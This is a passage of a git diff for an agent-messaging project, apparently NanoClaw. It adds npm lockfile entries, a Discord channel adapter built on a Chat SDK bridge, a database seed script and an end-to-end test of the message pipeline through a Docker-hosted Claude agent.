"sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, + "node_modules/micromark-util-types": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", + "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "license": "MIT" + }, "node_modules/mimic-response": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", @@ -2448,7 +3658,6 @@ "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - "dev": true, "license": "MIT" }, "node_modules/nanoid": { @@ -2755,6 +3964,61 @@ "node": ">= 6" } }, + "node_modules/remark-gfm": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.1.tgz", + "integrity": "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-gfm": "^3.0.0", + "micromark-extension-gfm": "^3.0.0", + "remark-parse": "^11.0.0", + "remark-stringify": "^11.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-parse": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz", + "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-from-markdown": "^2.0.0", + "micromark-util-types": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remark-stringify": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-11.0.0.tgz", + "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==", + "license": "MIT", + "dependencies": { + "@types/mdast": "^4.0.0", + "mdast-util-to-markdown": "^2.0.0", + "unified": "^11.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/remend": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/remend/-/remend-1.3.0.tgz", + "integrity": "sha512-iIhggPkhW3hFImKtB10w0dz4EZbs28mV/dmbcYVonWEJ6UGHHpP+bFZnTh6GNWJONg5m+U56JrL+8IxZRdgWjw==", + "license": "Apache-2.0" + }, "node_modules/resolve-from": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", @@ -3042,6 +4306,16 @@ "node": ">=14.0.0" } }, + "node_modules/trough": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz", + "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, "node_modules/ts-api-utils": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", @@ -3054,6 +4328,18 @@ "typescript": ">=4.8.4" } }, + "node_modules/ts-mixer": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/ts-mixer/-/ts-mixer-6.0.4.tgz", + "integrity": "sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==", + "license": "MIT" + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, "node_modules/tsx": { "version": "4.21.0", "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.21.0.tgz", @@ -3135,13 +4421,95 @@ "typescript": ">=4.8.4 <6.0.0" } }, + "node_modules/undici": { + "version": "6.24.1", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.1.tgz", + "integrity": "sha512-sC+b0tB1whOCzbtlx20fx3WgCXwkW627p4EA9uM+/tNNPkSS+eSEld6pAs9nDv7WbY1UUljBMYPtu9BCOrCWKA==", + "license": "MIT", + "engines": { + "node": ">=18.17" + } + }, "node_modules/undici-types": { "version": "6.21.0", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", - "dev": true, "license": "MIT" }, + "node_modules/unified": { + "version": "11.0.5", + "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", + "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "bail": "^2.0.0", + "devlop": "^1.0.0", + "extend": "^3.0.0", + "is-plain-obj": "^4.0.0", + "trough": "^2.0.0", + "vfile": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-is": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.1.tgz", + "integrity": "sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-stringify-position": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz", + "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.1.0.tgz", + "integrity": "sha512-m+vIdyeCOpdr/QeQCu2EzxX/ohgS8KbnPDgFni4dQsfSCtpz8UqDyY5GjRru8PDKuYn7Fq19j1CQ+nJSsGKOzg==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0", + "unist-util-visit-parents": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/unist-util-visit-parents": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.2.tgz", + "integrity": "sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-is": "^6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/uri-js": { "version": "4.4.1", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", @@ -3157,6 +4525,34 @@ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", "license": "MIT" }, + "node_modules/vfile": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", + "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "vfile-message": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/vfile-message": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz", + "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^3.0.0", + "unist-util-stringify-position": "^4.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, "node_modules/vite": { "version": "7.3.2", "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz", @@ -3357,6 +4753,27 @@ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", "license": "ISC" }, + "node_modules/ws": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.0.tgz", + "integrity": "sha512-sAt8BhgNbzCtgGbt2OxmpuryO63ZoDk/sqaB/znQm94T4fCEsy/yV+7CdC1kJhOU9lboAEU7R3kquuycDoibVA==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, "node_modules/yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", @@ -3368,6 +4785,16 @@ "funding": { "url": "https://github.com/sponsors/sindresorhus" } + }, + "node_modules/zwitch": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz", + "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } } } } diff --git a/package.json b/package.json index be913a9..91bbfbb 100644 --- a/package.json +++ b/package.json @@ -21,8 +21,11 @@ "test:watch": "vitest" }, "dependencies": { + "@chat-adapter/discord": "^4.24.0", + "@chat-adapter/state-memory": "^4.24.0", "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", + "chat": "^4.24.0", "cron-parser": "5.5.0" }, "devDependencies": { diff --git a/scripts/seed-discord.ts b/scripts/seed-discord.ts new file mode 100644 index 0000000..410570b --- /dev/null +++ b/scripts/seed-discord.ts @@ -0,0 +1,78 @@ +/** + * Seed the v2 central DB with a Discord agent group + messaging group. + * + * Usage: npx tsx scripts/seed-discord.ts + */ +import path from 'path'; + +import { DATA_DIR } from '../src/config.js'; +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup, getAgentGroup } from '../src/db/agent-groups.js'; +import { + createMessagingGroup, + createMessagingGroupAgent, + getMessagingGroup, +} from '../src/db/messaging-groups.js'; + +const db = initDb(path.join(DATA_DIR, 'v2.db')); +runMigrations(db); + +const AGENT_GROUP_ID = 'ag-main'; +const MESSAGING_GROUP_ID = 'mg-discord'; +const CHANNEL_ID = 'discord:1470188214710046894:1491569326447132673'; + +// Agent group +if (!getAgentGroup(AGENT_GROUP_ID)) { + createAgentGroup({ + id: AGENT_GROUP_ID, + name: 'Main', + folder: 'main', + is_admin: 1, + agent_provider: 'claude', + container_config: null, + created_at: new Date().toISOString(), + }); + console.log('Created agent group:', AGENT_GROUP_ID); +} else { + console.log('Agent group already exists:', AGENT_GROUP_ID); +} + +// Messaging group +if (!getMessagingGroup(MESSAGING_GROUP_ID)) { + createMessagingGroup({ + id: MESSAGING_GROUP_ID, + channel_type: 'discord', + platform_id: CHANNEL_ID, + name: 'Discord Test', + is_group: 1, + admin_user_id: null, + created_at: new Date().toISOString(), + }); + console.log('Created messaging group:', MESSAGING_GROUP_ID); +} else { + console.log('Messaging group already exists:', MESSAGING_GROUP_ID); +} + +// Link +try { + createMessagingGroupAgent({ + id: 'mga-discord', + messaging_group_id: MESSAGING_GROUP_ID, + agent_group_id: AGENT_GROUP_ID, + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: new Date().toISOString(), + }); + console.log('Created messaging_group_agent link'); +} catch (err: any) { + if (err.message?.includes('UNIQUE')) { + console.log('Messaging group agent link already exists'); + } else { + throw err; + } +} + +console.log('Done! Run: npm run build && node dist/index-v2.js'); diff --git a/scripts/test-v2-channel-e2e.ts b/scripts/test-v2-channel-e2e.ts new file mode 100644 index 0000000..15f84e3 --- /dev/null +++ b/scripts/test-v2-channel-e2e.ts @@ -0,0 +1,257 @@ +/** + * End-to-end test of v2 channel adapter pipeline: + * + * Mock adapter → onInbound → router → session DB → Docker container → + * agent-runner → Claude → messages_out → delivery → mock adapter.deliver() + * + * Usage: npx tsx scripts/test-v2-channel-e2e.ts + */ +import Database from 'better-sqlite3'; +import fs from 'fs'; +import path from 'path'; + +const TEST_DIR = '/tmp/nanoclaw-v2-channel-e2e'; +if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); +fs.mkdirSync(TEST_DIR, { recursive: true }); + +// --- Step 1: Init central DB --- +console.log('\n=== Step 1: Init central DB ==='); + +import { initDb } from '../src/db/connection.js'; +import { runMigrations } from '../src/db/migrations/index.js'; +import { createAgentGroup } from '../src/db/agent-groups.js'; +import { createMessagingGroup, createMessagingGroupAgent } from '../src/db/messaging-groups.js'; + +const centralDb = initDb(path.join(TEST_DIR, 'v2.db')); +runMigrations(centralDb); + +// Create groups dir for agent folder mount +const groupsDir = path.resolve(process.cwd(), 'groups'); +const testGroupDir = path.join(groupsDir, 'test-channel-e2e'); +fs.mkdirSync(testGroupDir, { recursive: true }); +fs.writeFileSync(path.join(testGroupDir, 'CLAUDE.md'), '# Test Agent\nYou are a test agent. Be brief.\n'); + +createAgentGroup({ + id: 'ag-chan', + name: 'Channel E2E Agent', + folder: 'test-channel-e2e', + is_admin: 1, // admin so OneCLI uses default agent for auth + agent_provider: 'claude', + container_config: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroup({ + id: 'mg-chan', + channel_type: 'mock', + platform_id: 'mock-channel-1', + name: 'Mock Channel', + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), +}); + +createMessagingGroupAgent({ + id: 'mga-chan', + messaging_group_id: 'mg-chan', + agent_group_id: 'ag-chan', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: new Date().toISOString(), +}); + +console.log('✓ Central DB initialized'); + +// --- Step 2: Set up mock channel adapter + delivery --- +console.log('\n=== Step 2: Set up mock channel adapter & delivery ==='); + +import { routeInbound } from '../src/router-v2.js'; +import { setDeliveryAdapter, startActiveDeliveryPoll, stopDeliveryPolls } from '../src/delivery.js'; +import { getChannelAdapter, registerChannelAdapter, initChannelAdapters } from '../src/channels/channel-registry.js'; +import { findSession } from '../src/db/sessions.js'; +import { sessionDbPath } from '../src/session-manager.js'; +import type { ChannelAdapter, ChannelSetup, OutboundMessage } from '../src/channels/adapter.js'; + +// Track delivered messages +const deliveredMessages: Array<{ platformId: string; threadId: string | null; message: OutboundMessage }> = []; +let lastDeliveryTime = 0; +const startTime = Date.now(); + +// Create mock adapter +const mockAdapter: ChannelAdapter = { + name: 'mock', + channelType: 'mock', + + async setup(config: ChannelSetup) { + console.log(` ✓ Mock adapter setup with ${config.conversations.length} conversations`); + }, + + async deliver(platformId, threadId, message) { + deliveredMessages.push({ platformId, threadId, message }); + lastDeliveryTime = Date.now(); + const elapsed = Math.floor((Date.now() - startTime) / 1000); + const content = message.content as Record; + const text = ((content.text as string) || '').slice(0, 120); + console.log(` ✓ [${elapsed}s] Delivered #${deliveredMessages.length}: ${text}...`); + }, + + async setTyping() {}, + async teardown() {}, + isConnected() { return true; }, +}; + +// Register mock adapter +registerChannelAdapter('mock', { factory: () => mockAdapter }); + +// Init channel adapters — this calls setup() with conversation configs from central DB +await initChannelAdapters((adapter) => ({ + conversations: [{ platformId: 'mock-channel-1', agentGroupId: 'ag-chan', requiresTrigger: false, sessionMode: 'shared' }], + onInbound(platformId, threadId, message) { + routeInbound({ + channelType: adapter.channelType, + platformId, + threadId, + message: { + id: message.id, + kind: message.kind, + content: JSON.stringify(message.content), + timestamp: message.timestamp, + }, + }).catch((err) => console.error('Route error:', err)); + }, + onMetadata() {}, +})); + +// Set up delivery adapter bridge +setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content) { + const adapter = getChannelAdapter(channelType); + if (!adapter) return; + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + }, +}); + +// Start delivery polling +startActiveDeliveryPoll(); +console.log('✓ Mock adapter & delivery configured'); + +// --- Step 3: Simulate inbound message through adapter --- +console.log('\n=== Step 3: Simulate inbound message ==='); + +// This is what a real adapter would do when receiving a platform message +const adapterSetup = (mockAdapter as { _setup?: ChannelSetup })._setup; + +// Call routeInbound directly (simulating onInbound callback) +await routeInbound({ + channelType: 'mock', + platformId: 'mock-channel-1', + threadId: null, + message: { + id: 'msg-chan-1', + kind: 'chat', + content: JSON.stringify({ + sender: 'Gavriel', + text: 'Call the send_message tool 3 times: text="Update 1", text="Update 2", text="Update 3". Make each call separately. After all 3, say "Done".', + }), + timestamp: new Date().toISOString(), + }, +}); + +const session = findSession('mg-chan', null); +if (!session) { + console.log('✗ No session created!'); + cleanup(); + process.exit(1); +} +console.log(`✓ Session: ${session.id}`); +console.log(`✓ Container status: ${session.container_status}`); + +import { execSync } from 'child_process'; +const checkContainerLogs = () => { + try { + const containers = execSync('docker ps -a --filter name=nanoclaw-v2-test-channel --format "{{.Names}}"').toString().trim(); + for (const name of containers.split('\n').filter(Boolean)) { + console.log(`\nContainer logs (${name}):`); + console.log(execSync(`docker logs ${name} 2>&1`).toString()); + } + } catch { /* ignore */ } +}; + +const sessDbPath = sessionDbPath('ag-chan', session.id); +console.log(`✓ Session DB: ${sessDbPath}`); + +// --- Step 4: Wait for delivery through mock adapter --- +console.log('\n=== Step 4: Waiting for delivery through mock adapter... ==='); +const TIMEOUT_MS = 300_000; + +// Wait for deliveries — resolve when no new ones for 30s after first delivery +await new Promise((resolve) => { + const poll = () => { + if (lastDeliveryTime > 0 && Date.now() - lastDeliveryTime > 30_000) { + resolve(); + return; + } + if (Date.now() - startTime > TIMEOUT_MS) { + console.log(`\n✗ Timed out after ${TIMEOUT_MS / 1000}s`); + // Check session DB directly + try { + const db = new Database(sessDbPath, { readonly: true }); + const out = db.prepare('SELECT * FROM messages_out').all(); + console.log(` messages_out rows: ${out.length}`); + if (out.length > 0) console.log(' (messages exist but delivery failed)'); + db.close(); + } catch { /* ignore */ } + checkContainerLogs(); + cleanup(); + process.exit(1); + } + const elapsed = Math.floor((Date.now() - startTime) / 1000); + if (elapsed > 0 && elapsed % 10 === 0) { + process.stdout.write(` ${elapsed}s...`); + } + setTimeout(poll, 1000); + }; + poll(); +}); + +// --- Step 5: Print results --- +console.log('\n\n=== Results ==='); + +console.log('\nSession DB:'); +try { + const db = new Database(sessDbPath, { readonly: true }); + const inRows = db.prepare('SELECT * FROM messages_in').all() as Array>; + const outRows = db.prepare('SELECT * FROM messages_out').all() as Array>; + db.close(); + + console.log(` messages_in: ${inRows.length} row(s)`); + for (const r of inRows) { + console.log(` [${r.id}] status=${r.status} kind=${r.kind}`); + } + console.log(` messages_out: ${outRows.length} row(s)`); + for (const r of outRows) { + const content = JSON.parse(r.content as string); + console.log(` [${r.id}] kind=${r.kind} delivered=${r.delivered}`); + console.log(` → ${content.text}`); + } +} catch (err) { + console.log(` (could not read session DB: ${err})`); +} + +console.log('\nDelivered through mock adapter:'); +for (const d of deliveredMessages) { + const content = d.message.content as Record; + console.log(` → [${d.platformId}] ${content.text}`); +} + +console.log('\n✓ Full channel adapter pipeline verified!'); + +cleanup(); +process.exit(0); + +function cleanup() { + stopDeliveryPolls(); + fs.rmSync(testGroupDir, { recursive: true, force: true }); +} diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts new file mode 100644 index 0000000..50b6f27 --- /dev/null +++ b/src/channels/chat-sdk-bridge.ts @@ -0,0 +1,189 @@ +/** + * Chat SDK bridge — wraps a Chat SDK adapter + Chat instance + * to conform to the NanoClaw ChannelAdapter interface. + * + * Used by Discord, Slack, and other Chat SDK-supported platforms. + */ +import { Chat, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage } from 'chat'; +import { createMemoryState } from '@chat-adapter/state-memory'; + +import { log } from '../log.js'; +import type { ChannelAdapter, ChannelSetup, ConversationConfig, InboundMessage } from './adapter.js'; + +/** Adapter with optional gateway support (e.g., Discord). */ +interface GatewayAdapter extends Adapter { + startGatewayListener?( + options: { waitUntil?: (task: Promise) => void }, + durationMs?: number, + abortSignal?: AbortSignal, + ): Promise; +} + +export interface ChatSdkBridgeConfig { + adapter: GatewayAdapter; + concurrency?: ConcurrencyStrategy; +} + +export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { + const { adapter } = config; + let chat: Chat; + let state: ReturnType; + let setupConfig: ChannelSetup; + let conversations: Map; + let gatewayAbort: AbortController | null = null; + + function buildConversationMap(configs: ConversationConfig[]): Map { + const map = new Map(); + for (const conv of configs) { + map.set(conv.platformId, conv); + } + return map; + } + + function messageToInbound(message: ChatMessage): InboundMessage { + return { + id: message.id, + kind: 'chat-sdk', + content: message.toJSON(), + timestamp: message.metadata.dateSent.toISOString(), + }; + } + + return { + name: adapter.name, + channelType: adapter.name, + + async setup(hostConfig: ChannelSetup) { + setupConfig = hostConfig; + conversations = buildConversationMap(hostConfig.conversations); + + state = createMemoryState(); + + chat = new Chat({ + adapters: { [adapter.name]: adapter }, + userName: adapter.userName || 'NanoClaw', + concurrency: config.concurrency ?? 'concurrent', + state, + logger: 'silent', + }); + + // Subscribed threads — forward all messages + chat.onSubscribedMessage(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + }); + + // @mention in unsubscribed thread — forward + subscribe + chat.onNewMention(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + await thread.subscribe(); + }); + + // DMs — always forward + subscribe + chat.onDirectMessage(async (thread, message) => { + const channelId = adapter.channelIdFromThreadId(thread.id); + setupConfig.onInbound(channelId, null, messageToInbound(message)); + await thread.subscribe(); + }); + + await chat.initialize(); + + // Subscribe registered conversations (after initialize connects state) + for (const conv of hostConfig.conversations) { + if (conv.agentGroupId) { + const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); + await state.subscribe(threadId); + } + } + + // Start Gateway listener for adapters that support it (e.g., Discord) + if (adapter.startGatewayListener) { + gatewayAbort = new AbortController(); + const startGateway = () => { + if (gatewayAbort?.signal.aborted) return; + // Capture the long-running listener promise via waitUntil + let listenerPromise: Promise | undefined; + adapter + .startGatewayListener!( + { waitUntil: (p: Promise) => { listenerPromise = p; } }, + 24 * 60 * 60 * 1000, + gatewayAbort!.signal, + ) + .then(() => { + // startGatewayListener resolves immediately with a Response; + // the actual work is in the listenerPromise passed to waitUntil + if (listenerPromise) { + listenerPromise + .then(() => { + if (!gatewayAbort?.signal.aborted) { + log.info('Gateway listener expired, restarting', { adapter: adapter.name }); + startGateway(); + } + }) + .catch((err) => { + if (!gatewayAbort?.signal.aborted) { + log.error('Gateway listener error, restarting in 5s', { adapter: adapter.name, err }); + setTimeout(startGateway, 5000); + } + }); + } + }); + }; + startGateway(); + log.info('Gateway listener started', { adapter: adapter.name }); + } + + log.info('Chat SDK bridge initialized', { adapter: adapter.name }); + }, + + async deliver(platformId: string, threadId: string | null, message) { + const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + const content = message.content as Record; + + if (content.operation === 'edit' && content.messageId) { + await adapter.editMessage(tid, content.messageId as string, { + markdown: (content.text as string) || (content.markdown as string) || '', + }); + return; + } + + if (content.operation === 'reaction' && content.messageId && content.emoji) { + await adapter.addReaction(tid, content.messageId as string, content.emoji as string); + return; + } + + // Normal message + const text = (content.markdown as string) || (content.text as string); + if (text) { + await adapter.postMessage(tid, { markdown: text }); + } + }, + + async setTyping(platformId: string, threadId: string | null) { + const tid = threadId ?? adapter.encodeThreadId({ guildId: '', channelId: platformId } as never); + await adapter.startTyping(tid); + }, + + async teardown() { + gatewayAbort?.abort(); + await chat.shutdown(); + log.info('Chat SDK bridge shut down', { adapter: adapter.name }); + }, + + isConnected() { + return true; + }, + + updateConversations(configs: ConversationConfig[]) { + conversations = buildConversationMap(configs); + // Subscribe new conversations + for (const conv of configs) { + if (conv.agentGroupId) { + const threadId = adapter.encodeThreadId({ guildId: '', channelId: conv.platformId } as never); + state.subscribe(threadId).catch(() => {}); + } + } + }, + }; +} diff --git a/src/channels/discord-v2.ts b/src/channels/discord-v2.ts new file mode 100644 index 0000000..5eb32ed --- /dev/null +++ b/src/channels/discord-v2.ts @@ -0,0 +1,22 @@ +/** + * Discord channel adapter (v2) — uses Chat SDK bridge. + * Self-registers on import. + */ +import { createDiscordAdapter } from '@chat-adapter/discord'; + +import { readEnvFile } from '../env.js'; +import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { registerChannelAdapter } from './channel-registry.js'; + +registerChannelAdapter('discord', { + factory: () => { + const env = readEnvFile(['DISCORD_BOT_TOKEN', 'DISCORD_PUBLIC_KEY', 'DISCORD_APPLICATION_ID']); + if (!env.DISCORD_BOT_TOKEN) return null; + const discordAdapter = createDiscordAdapter({ + botToken: env.DISCORD_BOT_TOKEN, + publicKey: env.DISCORD_PUBLIC_KEY, + applicationId: env.DISCORD_APPLICATION_ID, + }); + return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent' }); + }, +}); diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index dac9c4c..c1b0aac 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -185,15 +185,8 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); if (fs.existsSync(agentRunnerSrc)) { - const srcIndex = path.join(agentRunnerSrc, 'index-v2.ts'); - const cachedIndex = path.join(groupRunnerDir, 'index-v2.ts'); - const needsCopy = - !fs.existsSync(groupRunnerDir) || - !fs.existsSync(cachedIndex) || - fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; - if (needsCopy) { - fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); - } + // Always copy — source files may have changed beyond just the index + fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); } mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); diff --git a/src/db/schema.ts b/src/db/schema.ts index 2d50d18..bf8ff19 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -74,6 +74,7 @@ CREATE TABLE pending_questions ( export const SESSION_SCHEMA = ` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', @@ -89,6 +90,7 @@ CREATE TABLE messages_in ( CREATE TABLE messages_out ( id TEXT PRIMARY KEY, + seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, delivered INTEGER DEFAULT 0, diff --git a/src/index-v2.ts b/src/index-v2.ts index 396acd8..e4d6ec4 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -17,7 +17,7 @@ import { routeInbound } from './router-v2.js'; import { log } from './log.js'; // Channel imports — each triggers self-registration -// import './channels/discord-v2.js'; +import './channels/discord-v2.js'; import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; import { initChannelAdapters, teardownChannelAdapters, getChannelAdapter } from './channels/channel-registry.js'; diff --git a/src/session-manager.ts 